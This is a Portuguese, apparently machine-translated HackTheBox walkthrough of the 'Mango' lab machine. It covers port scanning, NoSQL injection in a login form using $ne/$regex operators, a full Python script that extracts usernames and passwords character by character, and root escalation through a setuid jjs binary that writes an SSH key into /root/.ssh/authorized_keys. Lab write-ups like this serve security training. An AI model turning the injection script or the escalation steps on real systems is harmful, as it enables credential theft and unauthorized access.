HackTheBox. Passo a passo Manga. Injeção NoSQL e LPE via JJS

imagem

Continuo publicando soluções enviadas para processamento adicional no site da HackTheBox .

Neste artigo, exploramos a injeção de NoSQL na forma de autorização e também aumentamos os privilégios por meio do JJS.

A conexão ao laboratório é via VPN. É recomendável não conectar-se a partir de um computador de trabalho ou de um host em que os dados importantes estejam disponíveis, pois você acaba em uma rede privada com pessoas que sabem alguma coisa no campo da segurança da informação :)

Informações Organizacionais
, , Telegram . , , .

. , - , .

Recon


Esta máquina possui um endereço IP 10.10.10.162, que eu adiciono ao / etc / hosts.

10.10.10.162    mango.htb

Primeiro, examinamos portas abertas. Como leva muito tempo para varrer todas as portas com o nmap, primeiro farei isso com o masscan. Examinamos todas as portas TCP e UDP da interface tun0 a uma velocidade de 1000 pacotes por segundo.

masscan -e tun0 -p1-65535,U:1-65535 10.10.10.162  --rate=1000

imagem

Agora, para obter informações mais detalhadas sobre os serviços que operam nas portas, executaremos uma varredura com a opção -A.

nmap -A mango.htb -p22,80,443

imagem

Primeiro de tudo, vamos assistir o site. Ao acessar mango.htb, eles nos lançam de http para https e falam sobre um problema com o certificado. Se você concorda com os riscos, pode ver esta página.

imagem

Mas nada mais interessante. A verificação do nmap exibe informações ssl-cert onde o domínio está especificado. Adicione-o ao / etc / hosts.
10.10.10.162 staging-order.mango.htb
E vamos ver o que está lá.

imagem

Existe um formulário de autorização - um possível ponto de entrada.

Ponto de entrada


Tentamos várias técnicas de injeção para ignorar a autorização. E encontramos uma injeção padrão de NoSql comparando a reação a duas condições: o login é 123, a senha é 123 e o login não é 123, a senha não é 123.

imagem

E após o verdadeiro resultado bem-sucedido da segunda condição, obtemos um redirecionamento para o home.php. Assim, a injeção NoSql é possível.

imagem

Como não há nada de interessante na página, a única coisa que podemos tirar dessa vulnerabilidade são logins e senhas.

DO UTILIZADOR


Vamos ver o tamanho máximo dos nomes de usuário e senhas. Para fazer isso, você pode usar as seguintes construções:
login [$ regex] =. {Length} & password [$ ne] = 123 - para login (uma comparação de expressão regular para o login é executada e a senha é inválida)
login [$ ne] = 123; senha [$ regex] =. {length} para a senha.

Vamos fazer isso com o intruso arroto.

imagem

imagem

imagem

Assim, o comprimento do logon mais longo é de 5 caracteres. Depois de fazer as mesmas operações para a senha, descobrimos que o comprimento do maior é de 16 caracteres.

imagem

Como é muito longo para resolvê-lo com suas mãos, escreveremos um script python. Primeiro, faremos uma sessão para o trabalho.

import string
import requests

alfa = string.printable 
URL = 'http://staging-order.mango.htb'

r = requests.session()
ans = r.get(URL)
r.headers = {"Content-Type":"application/x-www-form-urlencoded"}

logins = []


Em seguida, implementamos uma função para enumerar logins. A iteração será realizada usando a seguinte expressão regular ^ name. * - dessa maneira, esticaremos um caractere de cada vez.

def logins_find(login):
    is_find = False
    for char in alfa[:62]:
        data = "username[$regex]=^%s%s.*&password[$ne]=123&login=login" % (login, char)
        resp = r.post(URL, data=data)
        print('login: %s ' % (login+char), end='\r') 
        if len(resp.history):
            is_find = True
            logins_find(login+char)
    if not is_find:
        print('login found: %s ' % (login))
        logins.append(login)


E uma função semelhante, apenas usando o login encontrado.

def passwords_find(login, password):
    is_find = False
    for char in alfa:
        if char in ['*','+','.','?','|', '#', '&', '$', '\\']:
            char = '\\' + char
        data = "username=%s&password[$regex]=^%s%s.*&login=login" % (login, password, char)
        resp = r.post(URL, data=data)
        print("password for %s: %s " % (login, (password+char).replace('\\', '')), end = '\r')
        if len(resp.history):
            is_find = True
            passwords_find(login, password+char)
    if not is_find:
        print("[+] password for %s: %s " % (login, (password+char).replace('\\', '')))


CÓDIGO COMPLETO:

#!/usr/bin/python3

import string
import requests

alfa = string.printable[:-6]
URL = 'http://staging-order.mango.htb'

r = requests.session()
ans = r.get(URL)
r.headers = {"Content-Type":"application/x-www-form-urlencoded"}

logins = []

def logins_find(login):
    is_find = False
    for char in alfa[:62]:
        data = "username[$regex]=^%s%s.*&password[$ne]=123&login=login" % (login, char)
        resp = r.post(URL, data=data)
        print('login: %s ' % (login+char), end='\r') 
        if len(resp.history):
            is_find = True
            logins_find(login+char)
    if not is_find:
        print('login found: %s ' % (login))
        logins.append(login)

def passwords_find(login, password):
    is_find = False
    for char in alfa:
        if char in ['*','+','.','?','|', '#', '&', '$', '\\']:
            char = '\\' + char
        data = "username=%s&password[$regex]=^%s%s.*&login=login" % (login, password, char)
        resp = r.post(URL, data=data)
        print("password for %s: %s " % (login, (password+char).replace('\\', '')), end = '\r')
        if len(resp.history):
            is_find = True
            passwords_find(login, password+char)
    if not is_find:
        print("[+] password for %s: %s " % (login, (password+char).replace('\\', '')))
   
print("SEARCH logins:") 
logins_find("")

print("\nSEARCH passwords:") 
[ passwords_find(login, "") for login in logins ]


E, como resultado, encontramos as credenciais de dois usuários.

imagem

Conectamos com sucesso as credenciais via SSH.

imagem

Temos uma senha do segundo usuário, mas ela não permite o login via SSH. Estamos tentando alterar localmente o usuário digitando a senha que conhecemos.

imagem

RAIZ


Vamos realizar a enumeração básica usando o script LinEnum .

imagem

E encontramos o programa com o conjunto S-bit.

imagem

Verificando JJS por exemplo GTFOBins .

imagem

Existem também exemplos de operação. Chamar shell local não funcionou. Mas você pode gerar chaves ssh, escrever public em /root/.ssh/authorized_keys e conectar usando private.

imagem

Vamos contar a chave pública.

imagem

E agora anote.

imagem

E agora conecte-se como root.

imagem

Você pode se juntar a nós no Telegram. Lá você encontra materiais interessantes, cursos mesclados e softwares. Vamos montar uma comunidade na qual haverá pessoas versadas em muitas áreas da TI, para que possamos sempre ajudar-nos mutuamente em qualquer problema de segurança da informação e da TI.

All Articles